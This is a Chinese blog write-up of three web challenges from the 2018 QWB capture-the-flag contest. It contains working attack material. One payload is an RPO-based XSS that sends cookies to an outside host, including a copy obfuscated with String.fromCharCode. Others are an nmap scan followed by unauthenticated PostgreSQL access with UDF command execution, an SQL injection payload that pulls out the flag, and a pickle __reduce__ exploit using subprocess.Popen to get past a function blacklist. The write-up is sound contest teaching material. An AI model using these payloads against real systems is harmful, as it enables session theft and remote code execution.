LoRexxar's Blog

强网杯2018 Web writeup

字数统计: 2.2k阅读时长: 10 min
2018/03/26 Share

现在人老了,不仅ctf不想打了,写wp也想偷点懒,下面的writeup就从简完成了,如果有问题可以直接问我看看。

Web

share your mind

一道挺迷的xss题目,开始做题的时候拐入了一个神奇的非预期。

基础的思路挺明确的,首先需要找个以当前域下的self-xss,然后发送给管理员,bot访问然后进一步…

首先就需要找到一个xss点,由于写文章的点经过html过滤,尖括号被转义了,再加上第一个提示说后台bot使用了phjs做浏览器,所以提出了一个想法,phjs有什么和普通浏览器不同的点,然后就被带入歧途了。

在盲测payload的时候,这样的一个payload收到了返回

1
http://39.107.33.96:20000"><img src="http://xxxxx.xx">

这里没有任何过滤,但是构造js探测后台的时候发现,后台没有任何cookie,甚至没登陆,不能阅读任何东西,无奈之下问了管理员,答复是非预期,有解…

实话说我还是第一次遇到非预期无解的情况,仔细想了一下,可能是因为这个漏洞是bot问题,猜测可能是控制phjs的脚本是通过第三方获取提交链接的,导致拼接的时候未处理出现问题…所以添加cookie和登陆操作在这之后,所以这里的xss点没有用。

抛开这个思路不谈,这里回到题目,知道是非预期,所以思路就想着在站内找一个self-xss。

突然发现站内引用了形似../static/jquery.js的js,然后站内使用路由表来解析对应的方法,那么RPO的利用条件成立。

ps:RPO相关的知识在34c3的wp和pwnhub大物必须死都提到过,这里就不细谈了。

当我们访问

1
http://39.107.33.96:20000/index.php/view/article/28477/..%2f..%2f..%2f..%2findex.php/add

页面内请求的js链接会为http://39.107.33.96:20000/index.php/view/article/28477/static/jquery.js,返回内容为文章内容,js就会执行。

直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\

这个简单,打子域的cookie即可,就是去年的国赛的思路

1
2
3
4
5
6
7
8
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}

不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了

1
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,105,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,10,105,46,115,114,99,61,34,47,81,87,66,95,102,108,52,103,47,81,87,66,47,34,59,10,105,46,105,100,61,34,97,34,59,10,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,105,41,59,10,105,46,111,110,108,111,97,100,32,61,32,102,117,110,99,116,105,111,110,32,40,41,123,10,32,32,9,118,97,114,32,99,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,97,39,41,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,10,9,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,49,53,46,50,56,46,55,56,46,49,54,63,120,120,61,34,43,99,59,10,125,10,60,47,115,99,114,105,112,116,62))

成功打到flag

彩蛋

挺迷的一题的,因为java出不了什么漏洞,所以题意就比较明显了,就是用低版本的组件本身的漏洞导致的。

首先拿到项目代码https://github.com/zjlywjh001/PhrackCTF-Platform-Team

仔细研究其组件版本
https://github.com/zjlywjh001/PhrackCTF-Platform-Team/blob/master/pom.xml

发现其中shiro版本为1.2.4,shiro的1.2.4版本存在一个RCE漏洞。

有两篇文章
https://www.seebug.org/vuldb/ssvid-92180

http://www.freebuf.com/articles/system/125187.html

首先找到cookie加密密钥phrackctfDE!~#$d (cGhyYWNrY3RmREUhfiMkZA==)

用seebug上的poc生成测试cookie,无论在ysoserial上用各种版本的commoncollections都没办法利用,实在不懂java,再加上本地环境不完整,所以就想不到什么办法了。

后来再看别的wp得知,实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient。有待进一步研究

在想办法的时候,无意中用nmap扫描服务器,发现惊喜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@iZ285ei82c1Z:~# nmap -Pn -sT 106.75.97.46
Starting Nmap 6.40 ( http://nmap.org ) at 2018-03-25 14:09 CST
Nmap scan report for 106.75.97.46
Host is up (0.020s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
22/tcp open ssh
42/tcp filtered nameserver
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
1027/tcp filtered IIS
1028/tcp filtered unknown
1068/tcp filtered instl_bootc
3128/tcp filtered squid-http
4444/tcp filtered krb524
5432/tcp open postgresql
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6669/tcp filtered irc
8009/tcp open ajp13
8080/tcp open http-proxy

5432开放了postgresql端口,尝试未授权果然成功连上了,翻了翻,因为权限设置问题,没办法列目录,只能读文件。但不知道文件名,所以尝试用udf执行命令。

研究了一下没找到9.6版本的udf,但在数据库当前目录下,有别人写的udf,成功执行命令,拿到flag

1
2
CREATE OR REPLACE FUNCTION sys_eval() RETURNS text AS './udf.so' LANGUAGE C STRICT;
select sys_eval('cat /flag_is_here');

python is best language

这是一个flask的代码审计题目,分1&2两个漏洞,第一个漏洞还算是比较清楚,注入漏洞。让我们来看看代码。

others.py里的数据库操作完全没有任何过滤,而且直接将输入拼接进入sql语句,也就是说,如果数据没经过处理,就会产生注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
class Mysql_Operate():
def __init__(self, Base, engine, dbsession):
self.db_session = dbsession()
self.Base = Base
self.engine = engine
def Add(self, tablename, values):
sql = "insert into " + tablename + " "
sql += "values ("
sql += "".join(i + "," for i in values)[:-1]
sql += ")"
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Del(self, tablename, where):
sql = "delete from " + tablename + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = "select "
sql += "".join(i + "," for i in feildname)[:-1] + " "
sql += "from " + tablename + " "
if where != {}:
sql += "where " + "".join(i + " " + where_symbols + " " +
str(where[i]) + " " + l + " " for i in where)[:-4]
if order != "":
sql += "order by " + "".join(i + "," for i in order)[:-1]
return sql
def All(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchall()
if res == None:
return []
return res
except:
return -1
def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1

比如编辑个人信息,就没有任何处理就进入mysq操作类。

1
2
3
4
5
6
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

但在forms.py里对表单有验证,例如上面的编辑个人资料,在form验证就会被拦截

1
2
3
def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")

但有一个特例,就是PostForm,这个表单没有任何验证

1
2
3
class PostForm(FlaskForm):
post = StringField('Say something', validators=[DataRequired()])
submit = SubmitField('Submit')

注入成立了,而且还是显注,唯一的问题是这里是所有人都可以看到的,所以在注入时候需要想一些办法

1
2
3
4
5
6
7
8
9
10
11
name:12333
id:10
database:flask
table: flaaaaag,followers,post,user
columns: flllllag
encode加密flag
asdf','10','2018-03-24'),(NULL,hex(encode((select flllllag from flaaaaag),'qwertyuiokmnnnhgbv')),'10','2018-03-24')#
decode解密
select decode(unhex('6201D0BB2543B2DE415C367C7DE295C4777C8E541D4FC9B2E1DA6209AB'),'qwertyuiokmnnnhgbv');

第二步是flask的session反序列化漏洞,python会反序列化用户的session,问题在于不知道如何控制session,赛后讨论的时候发现…明明有注入为什么不用注入来写呢。

上面的注入可以通过执行多条语句向文件中写入内容。

然后python的session文件和php一样,在/tmp/ffff/md5(bdwsessions+user),通过mysql into outfile可以写文件到这里控制有效的。

分享一些相关的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html

http://mp.weixin.qq.com/s/xEBr7JxbSTt11oiBsgc3uw

https://github.com/bl4de/ctf/blob/master/2016/HackIM_2016/Unicle_Web200/Unicle_Web200_writeup.md

然后代码中还有一些黑名单机制

1
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,spawnv, spawnve, spawnvp, spawnvpe, load, loads]

其中限制了很多关键字,但subprocess.Popen没有被限制,所以就可以随意执行命令

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
import subprocess
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('xx','/tmp/xxxx',),))
shellcode = cPickle.dumps(Exploit())
print '0x' + shellcode .encode('hex')

成功getshell

CATALOG
  1. 1. Web
    1. 1.1. share your mind
    2. 1.2. 彩蛋
    3. 1.3. python is best language